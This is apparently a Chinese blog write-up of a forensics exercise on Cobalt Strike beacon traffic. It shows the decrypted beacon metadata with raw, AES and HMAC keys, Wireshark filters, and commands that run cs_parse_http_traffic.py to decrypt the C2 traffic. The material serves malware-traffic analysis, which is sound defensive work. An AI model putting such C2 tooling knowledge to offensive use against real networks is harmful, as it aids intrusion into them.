Encrypted metadata: IyltNSnpj6lSGi0WGIaJIsFWg6Ko6V+20xExzajz0A3AkRi2MMWjLSZvHltXLFJg5joFEKQ8lQYKh96XCYfDMO3yWWCzyZdpoCLdWRNzR8FN3Z3buww8afGOhKe+NVEWFzTPafNZh3kFlWUf5zk/etCn8WPy4qg4BArMvbx/yqM=
Decrypted:
Header: 0000beef
Datasize: 0000005d
Raw key:  a4553adf7a841e1dcf708afc912275ee
 aeskey:  a368237121ef51b094068a2e92304d46
 hmackey: b6315feb217bd87188d06870dd92855b
charset: 03a8 ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)
charset_oem: 03a8 ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)
bid: 5f96edca 1603726794
pid: 0acc 2764
port: 0
flags: 0e
var1: 6
var2: 2
var3: 9200
var4: 32760
var5: 265866928
var6: 265854304
var7: 2507253952
Field: b'WIN-8FC6TKPDPOR'
Field: b'Administrator'
Field: b'artifact.exe'

得到raw key:a4553adf7a841e1dcf708afc912275ee

解密流量包

cs-parse-http-traffic.py -r raw.key -Y 流量包过滤出cs流量包 -e 文件对cs流量批量提取
python cs_parse_http_traffic.py -r a4553adf7a841e1dcf708afc912275ee -Y "http && !(http.host == 'r4---sn-ni57rn7y.gvt1-cn.com')" -e ./cs流量分析.pcapng > 1111.txt

大致过程就是这样,然后因为我的一直报错就又去找了其他方法:

流量包过滤返回为200的

http.response.code == 200

全部标记

image-20251202110642737

到处特定分组

image-20251202110657527

保存为pcapng文件,用脚本cs_parse_http_traffic.py(minhangxiaohui/CSthing: somthing about Cobaltstrike)和raw key解密

python cs_parse_http_traffic.py -r a4553adf7a841e1dcf708afc912275ee 1111.pcapng

image-20251202110753755

也是能找信息的,但这个只是一小部的的

posted @ 2025-12-02 11:40  Anaxa  阅读(6)  评论(0)    收藏  举报